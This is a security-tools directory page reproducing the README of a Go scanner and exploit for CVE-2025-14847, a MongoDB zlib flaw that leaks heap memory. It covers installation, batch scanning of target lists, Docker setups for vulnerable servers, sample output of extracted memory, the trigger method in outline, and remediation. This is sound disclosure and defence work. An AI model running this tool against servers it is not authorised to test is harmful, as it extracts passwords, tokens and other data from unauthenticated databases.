Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-14847 — MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具 | Kitploit
Tools/GitHubGitHub/onewinner/cve-2025-14847
Vulnerability ScannersMemory ForensicsExploitationInformation GatheringPenetration TestingDatabase Security
GitHubonewinner/cve-2025-14847

CVE-2025-14847

MongoDB 内存泄露漏洞 (CVE-2025-14847) 检测工具

View Repository
1427 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

MongoDB CVE-2025-14847 Vulnerability Detection Tool

MongoDB Memory Leak Vulnerability (CVE-2025-14847) Detection Tool


⚠️ Important: This tool is for authorized security testing and vulnerability assessment only. Unauthorized use may violate the law.


📋 Table of Contents

  • Vulnerability Description
  • Features
  • Installation
  • Usage
  • Setting Up a Test Environment
  • Output Examples
  • Detection Principle
  • Remediation Suggestions
  • Disclaimer

🔍 Vulnerability Description

CVE-2025-14847 is a serious memory leak vulnerability in the MongoDB Zlib compression protocol handling. An attacker can send maliciously crafted compressed packets, causing MongoDB to return uninitialized heap memory data that may contain sensitive information.

Affected Versions

Version RangeStatus
8.2.0 - 8.2.2⚠️ Affected
8.0.0 - 8.0.16⚠️ Affected
7.0.0 - 7.0.27⚠️ Affected
6.0.0 - 6.0.26⚠️ Affected
5.0.0 - 5.0.31⚠️ Affected
4.4.0 - 4.4.29⚠️ Affected
4.2.x all versions⚠️ Affected
4.0.x all versions⚠️ Affected
3.6.x all versions⚠️ Affected

Impact

  • 🔴 Severity: CVSS 8.7 (High)
  • 💾 Leaks sensitive data from heap memory
  • 🔑 May contain passwords, session tokens, encryption keys, etc.
  • 🚫 No authentication required for exploitation
  • 🌐 Remotely exploitable

✨ Features

  • ✅ Intelligent Detection – Automatically identifies MongoDB version and determines if affected
  • ✅ Two-Factor Verification – Version detection → Zlib support detection → Memory leak extraction
  • ✅ Single Target Scan – Quickly test a single MongoDB instance
  • ✅ Batch Scan – Read target list from file for batch detection
  • ✅ Concurrent Scanning – Multi-threaded concurrency for improved efficiency
  • ✅ Real-time Output – Display leaked memory data in real time
  • ✅ Result Export – Automatically save vulnerable targets to a file
  • ✅ Clean Output – Unified output format, clear and concise

🚀 Installation

Method 1: Build from Source

root@kitploit:~
# Clone the repository
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847

# Install dependencies
go mod download

# Build
go build -o mongodb-scanner main.go

# Run
./mongodb-scanner -t 127.0.0.1:27017

Method 2: Run Directly

root@kitploit:~
go run main.go -t 127.0.0.1:27017

Method 3: Download Prebuilt Binary

Go to the Releases page to download a prebuilt binary for your system.

📖 Usage

Basic Usage

root@kitploit:~
# Scan a single target
./mongodb-scanner -t 127.0.0.1:27017

# Batch scan from file
./mongodb-scanner -f targets.txt

# Batch scan with 20 threads
./mongodb-scanner -f targets.txt -c 20

# Scan and save vulnerable targets
./mongodb-scanner -f targets.txt -o vulnerable.txt

# Custom offset range (faster or deeper scan)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000

Command-Line Arguments

Target File Format

Create a targets.txt file:

root@kitploit:~
# MongoDB target list
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017

# If no port is specified, defaults to 27017
192.168.1.101

🐳 Setting Up a Test Environment

To safely test this tool, it is recommended to set up a local test environment using Docker.

Quickly Start a Vulnerable MongoDB

root@kitploit:~
# Start MongoDB 6.0.14 (vulnerable version) with Zlib compression enabled
docker run -d \
  --name mongodb-vulnerable \
  -p 27017:27017 \
  mongo:6.0.14 \
  --networkMessageCompressors snappy,zlib

# Check container status
docker ps

# Test the vulnerability
./mongodb-scanner -t 127.0.0.1:27017

Using Docker Compose

Create a docker-compose.yml file:

root@kitploit:~
version: '3.8'

services:
  # Vulnerable version (Zlib enabled)
  mongodb-vulnerable:
    image: mongo:6.0.14
    container_name: mongodb-vulnerable
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors snappy,zlib

  # Patched version (for comparison testing)
  mongodb-patched:
    image: mongo:6.0.27
    container_name: mongodb-patched
    ports:
      - "27018:27017"
    command: mongod --networkMessageCompressors snappy,zlib

volumes:
  mongodb-data:
  mongodb-patched-data:

Start the test environment:

root@kitploit:~
# Start all containers
docker-compose up -d

# Test the vulnerable version
./mongodb-scanner -t 127.0.0.1:27017

# Test the patched version
./mongodb-scanner -t 127.0.0.1:27018

# Stop and clean up
docker-compose down -v

Cleaning Up the Test Environment

root@kitploit:~
# Stop and remove containers
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable

# Prune volumes
docker volume prune -f

📊 Output Examples

Output Format Description

The tool uses unified prefixes to mark output:

  • [*] – Information output (target, version, configuration, etc.)
  • [+] – Success/vulnerable/data extracted
  • [-] – Failure/secure/no vulnerability
  • [!] – Warning/important notice

Single Target Scan – Vulnerable

root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║  MongoDB CVE-2025-14847 Vulnerability Detection Tool        ║
╚══════════════════════════════════════════════════════════════╝
⚠️  For authorized security testing only | Unauthorized testing may be illegal

[*] Target: 1 | Threads: 10 | Timeout: 2s | Offset: 20-1000
[*] Starting scan...

[*] Target: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Vulnerable version: Yes
[+] Zlib compression: Enabled
[!] Vulnerability exploitable, starting memory extraction...
[+] Offset=229 Length=250: :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",

[+] 127.0.0.1:27017 - Vulnerability exploitable (v6.0.14) - 3468ms
[+] Successfully extracted 1 memory data item:
    [1] :00\"},\"s\":\"I\",  \"c\":\"NETWORK\",  \"id\":22944,   \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...

======================================================================
[*] Scan complete | Total: 1 | Exploitable: 1 | Secure: 0 | Duration: 3.4s
======================================================================

Single Target Scan – Version Secure

root@kitploit:~
[*] Target: 127.0.0.1:27018
[*] Version: 6.0.27
[-] Vulnerable version: No

[-] 127.0.0.1:27018 - Version secure (v6.0.27) - 156ms

======================================================================
[*] Scan complete | Total: 1 | Exploitable: 0 | Secure: 1 | Duration: 0.2s
======================================================================

Single Target Scan – Zlib Not Enabled

root@kitploit:~
[*] Target: 127.0.0.1:27017
[*] Version: 6.0.14
[+] Vulnerable version: Yes
[-] Zlib compression: Not enabled

[-] 127.0.0.1:27017 - Zlib not enabled (v6.0.14) - 234ms

======================================================================
[*] Scan complete | Total: 1 | Exploitable: 0 | Secure: 1 | Duration: 0.3s
======================================================================

Batch Scan

root@kitploit:~
[*] Target: 5 | Threads: 10 | Timeout: 2s | Offset: 20-8192
[*] Starting scan...

[+] 192.168.1.10:27017 - Vulnerability exploitable (v6.0.14) - 3521ms
[+] Successfully extracted 2 memory data items:
    [1] Connection ended...
    [2] network statistics...

[-] 192.168.1.11:27017 - Version secure (v6.0.27) - 145ms
[-] 192.168.1.12:27017 - Zlib not enabled (v6.0.14) - 198ms
[+] 192.168.1.13:27017 - Vulnerability exploitable (v7.0.15) - 2987ms
[!] 192.168.1.14:27017 - Vulnerability exploitable but no data extracted (v6.0.20) - 4123ms

======================================================================
[*] Scan complete | Total: 5 | Exploitable: 3 | Secure: 2 | Duration: 5.2s
======================================================================

[+] Exploitable targets saved to: vulnerable.txt

🔬 Detection Principle

This tool uses a three-step detection mechanism:

1️⃣ Version Detection

  • Connect to the MongoDB instance
  • Retrieve version information (buildInfo command)
  • Determine if the version falls within the affected range

2️⃣ Zlib Compression Support Detection

  • Send a Zlib compression test packet
  • Check if the server returns a compressed response
  • Confirm whether Zlib compression is enabled

3️⃣ Memory Leak Extraction

  • Send a maliciously crafted compressed packet
    • Claim a decompressed size much larger than the actual size
    • Trigger the server to read uninitialized heap memory
  • Scan multiple offsets to extract more data
  • Decompress the server response and extract leaked field names
  • Display discovered memory data in real time

Decision Logic

ConditionResult
Vulnerable version + Zlib enabled + data extracted✅ Vulnerability exploitable – display leaked data
Vulnerable version + Zlib enabled + no data extracted⚠️ Vulnerability exploitable but no data extracted
Vulnerable version + Zlib not enabled❌ Zlib not enabled – not exploitable
Non-vulnerable version

🛠️ Remediation Suggestions

Urgent Fix

Immediately upgrade to one of the following patched versions:

  • MongoDB Server 8.2.3
  • MongoDB Server 8.0.17
  • MongoDB Server 7.0.28
  • MongoDB Server 6.0.27
  • MongoDB Server 5.0.32
  • MongoDB Server 4.4.30

Temporary Mitigations

If an upgrade is not immediately possible, take the following temporary measures:

1. Disable Zlib Compression

Configure in mongod.conf or mongos.conf:

root@kitploit:~
net:
  compression:
    compressors: []

Or explicitly exclude zlib in startup arguments:

root@kitploit:~
mongod --networkMessageCompressors snappy,zstd

2. Switch to Another Compression Algorithm

Recommended to use snappy or zstd instead of zlib:

root@kitploit:~
net:
  compression:
    compressors: snappy,zstd

3. Network Access Control

  • Restrict the MongoDB port to trusted IPs only
  • Use firewall rules or bindIp configuration
  • Enable TLS/SSL encrypted transmission

4. Enable Access Control

  • Enable authentication (--auth flag)
  • Use strong password policies
  • Implement the principle of least privilege

5. Monitoring and Auditing

  • Monitor abnormal connections and memory access patterns
  • Enable audit logging
  • Regularly check security logs

⚠️ Important: Temporary mitigations only reduce risk; they are not a complete fix. Strongly recommend upgrading to a patched version as soon as possible.

⚠️ Disclaimer

Important:

  • ✅ This tool is for authorized security testing and vulnerability assessment only
  • ✅ Ensure you have permission to test the target system before using this tool
  • ❌ Unauthorized scanning may violate laws and regulations
  • ❌ The author is not responsible for any misuse

By using this tool, you agree to:

  1. Use it only on systems where you have explicit authorization
  2. Comply with all applicable local laws and regulations
  3. Take full responsibility for any consequences resulting from the use of this tool

📄 License

This project is licensed under the MIT License.

🤝 Contributing

Issues and Pull Requests are welcome!

Contribution Guidelines

  1. Fork this repository
  2. Create your feature branch (git checkout -b feature/AmazingFeature)
  3. Commit your changes (git commit -m 'Add some AmazingFeature')
  4. Push to the branch (git push origin feature/AmazingFeature)
  5. Open a Pull Request

📚 References

  • CVE-2025-14847 Details
  • MongoDB Security Advisory
  • MongoDB Upgrade Guide
  • MongoDB Compression Configuration

👨‍💻 Author

onewinner - @onewinner

Project URL: https://github.com/onewinner/CVE-2025-14847

📝 Changelog

v1.0.0 (2025-12-26)

  • 🎉 Initial release
  • ✅ Supports single target and batch scanning
  • ✅ Multi-threaded concurrent scanning
  • ✅ Automatic version detection and risk assessment
  • ✅ Intelligent memory leak detection
  • ✅ Detailed remediation suggestions

⭐ If this project helps you, please give it a Star!

Made with ❤️ by Security Researchers

Download Tool
ArgumentDescriptionDefault
-t <target>Single target (e.g., 127.0.0.1:27017)-
-f <file>Target file (one target per line)-
-c <num>Number of concurrent threads10
-timeout <time>Connection timeout2s
-o <file>Output file (save vulnerable targets)-
--min-offset <num>Minimum document length offset20
--max-offset <num>Maximum document length offset8192
✅ Version secure